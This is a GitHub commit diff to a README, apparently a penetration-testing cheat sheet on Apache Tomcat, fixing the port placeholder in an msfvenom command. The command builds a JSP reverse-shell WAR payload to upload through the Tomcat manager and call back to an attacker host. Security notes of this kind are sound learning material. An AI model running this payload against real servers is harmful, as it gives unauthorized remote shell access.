Update README.md

This commit is contained in:
Martin Zaarour 2024-11-05 13:12:49 +01:00 committed by GitHub
parent e93f570aa9
commit 60d09e18e3
No known key found for this signature in database
GPG key ID: B5690EEEBB952194

View file

@ -156,7 +156,7 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit
1. Create the war to deploy:
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LPORT> -f war -o revshell.war
```
2. Upload the `revshell.war` file and access to it (`/revshell/`):